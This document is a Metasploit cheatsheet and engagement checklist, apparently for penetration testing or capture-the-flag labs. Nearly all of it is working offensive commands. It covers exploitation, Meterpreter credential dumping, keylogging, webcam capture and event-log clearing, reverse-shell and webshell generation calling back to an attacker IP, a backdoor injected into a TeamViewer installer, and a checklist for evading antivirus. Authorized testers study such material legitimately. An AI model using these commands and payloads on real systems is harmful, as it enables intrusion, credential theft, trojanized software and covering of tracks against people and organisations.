Cheatsheet

Start MSF (with database)

sudo systemctl start postgresql
sudo msfdb init
sudo msfdb run              # launches msfconsole with DB
msfconsole -q               # quiet start, no banner

Search Filters

search eternalblue
search cve:2017 type:exploit platform:windows
search type:auxiliary name:smb
search path:scanner/ssh
search author:rapid7
search type:post platform:linux

Module Workflow

use exploit/windows/smb/ms17_010_eternalblue
info                              # always run first
show options
show missing                       # only unset required opts
set RHOSTS 10.10.11.5
set LHOST tun0                     # interface name works
set LPORT 4444
setg LHOST 10.10.14.5              # global — persists across modules
show targets
set target 0                        # 0 = auto
show payloads
set payload windows/x64/meterpreter/reverse_tcp
check                               # safe vuln check (if supported)
run                                 # or `exploit`
run -j                              # as background job
back                                # exit module context

Sessions

sessions -l                         # list
sessions -i 1                       # interact with session 1
sessions -k 1                       # kill
sessions -K                         # kill all
sessions -u 1                       # upgrade shell → meterpreter
background                          # Ctrl+Z to drop session

Jobs

jobs -l                             # list running jobs
jobs -k 0                           # kill job 0
kill 0                              # same

Multi/Handler (catch reverse shells)

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4444
set ExitOnSession false
run -j

Meterpreter Core

sysinfo                             # OS, arch, hostname
getuid                              # current user
getpid                              # current PID
ps                                  # process list
migrate <PID>                       # move to another process
migrate -N explorer.exe             # by name
hashdump                            # dump SAM hashes
screenshot
keyscan_start / keyscan_dump / keyscan_stop
webcam_snap
getsystem                           # local priv esc
shell                               # drop to cmd.exe
pwd / cd / ls / cat / edit
upload /local/file C:\\path
download C:\\path /local
execute -f cmd.exe -i -H            # interactive, hidden
load kiwi                           # mimikatz
load incognito
clearev                             # clear event logs

Pivoting

run autoroute -s 10.10.11.0/24
portfwd add -l 3389 -p 3389 -r 10.10.11.50
portfwd list
route add 10.10.11.0/24 1           # route via session 1
use auxiliary/server/socks_proxy    # socks pivot

msfvenom — Payload Generation

msfvenom -l payloads                # list payloads
msfvenom -l formats                 # list output formats
msfvenom -l encoders                # list encoders
msfvenom --list-options -p <payload>
 
# Windows exe — staged meterpreter
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o meter.exe
 
# Windows exe — stageless (inline)
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o inline.exe
 
# Linux ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f elf -o meter.elf
 
# PHP webshell
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f raw -o shell.php
 
# ASPX / JSP
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f aspx -o shell.aspx
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f raw -o shell.jsp
 
# Python / Bash
msfvenom -p cmd/unix/reverse_python LHOST=10.10.14.5 LPORT=4444 -f raw
msfvenom -p cmd/unix/reverse_bash   LHOST=10.10.14.5 LPORT=4444 -f raw
 
# Shellcode for exploit dev (C format)
msfvenom -p windows/exec CMD=calc.exe -f c -b '\x00\x0a\x0d'
 
# Encoded, 10 iterations
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 \
  -e x86/shikata_ga_nai -i 10 -f exe -o enc.exe
 
# Template injection + keep original running
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=443 \
  -x TeamViewer_Setup.exe -k -e x86/shikata_ga_nai -i 5 -f exe -o backdoor.exe

Common msfvenom Flags

-p <payload>        payload to generate
-f <format>         output format (exe, elf, raw, c, py, psh, aspx…)
-o <file>           output file
-e <encoder>        encoder (x86/shikata_ga_nai is classic)
-i <n>              encoder iterations
-b '<chars>'        bad characters to avoid (e.g. '\x00\x0a')
-x <template>       inject into legitimate executable
-k                  keep template running in separate thread
-a <arch>           x86 / x64
--platform <os>     windows / linux / osx / php / java
-s <size>           max payload size
--encrypt <type>    base64, aes256, rc4, xor

Database

workspace                           # list (* = current)
workspace -a client_x               # create
workspace client_x                  # switch
workspace -d old                    # delete
db_nmap -sV -sC 10.10.11.5          # nmap, auto-import
db_import nessus.xml
hosts
services
services -p 445
creds
loot
vulns
db_export -f xml engagement.xml

Resource Scripts (automate)

msfconsole -r script.rc
# inside console:
makerc /tmp/last_commands.rc        # record last commands
resource /tmp/last_commands.rc

Importing Custom Modules

# drop .rb file here
/usr/share/metasploit-framework/modules/exploits/custom/<name>.rb
 
# then in msfconsole
reload_all
use exploit/custom/<name>

Checklist

Setup

  • PostgreSQL started and msfdb initialized
  • Workspace created for this engagement (workspace -a <client>)
  • setg LHOST <tun0_ip> and setg LPORT <port> to avoid retyping

Recon → MSF

  • Imported nmap XML with db_import or ran db_nmap
  • Reviewed hosts and services tables
  • Searched for matching modules by CVE, service, version
  • Ran info before firing any exploit — checked targets, CVE, rank

Exploitation

  • Confirmed required options with show missing
  • Set correct target with show targets (manual > auto when known)
  • Chose appropriate payload (staged for small buffers, stageless when reliable)
  • Ran check before run if the module supports it
  • Started handler before any out-of-band payload fires

Payload Generation

  • Picked right format for the delivery vector (exe, elf, php, aspx, raw shellcode)
  • Specified arch explicitly when it matters (-a x64)
  • Supplied -b badchars for exploit-dev shellcode
  • Verified payload matches handler (same payload string, same LHOST/LPORT)

Post-Exploitation

  • sysinfo + getuid to confirm foothold
  • Migrated out of the exploited process (migrate -N explorer.exe)
  • Ran hashdump / load kiwi for credentials
  • Backgrounded session and ran post/multi/recon/local_exploit_suggester
  • Set up autoroute + portfwd / socks_proxy for pivoting

Evasion

  • Used template injection (-x + -k) instead of naked payloads
  • Encoded with iterations when facing simple signature AV
  • Prefer stageless payloads when stagers get caught mid-handshake
  • Archive with password for file-transfer evasion
  • Switched to custom loader / LOLBins if msfvenom output gets flagged

Housekeeping

  • Logged commands with spool /tmp/msf.log or makerc
  • Exported workspace with db_export before closing
  • Cleared event logs only if scope allows (clearev)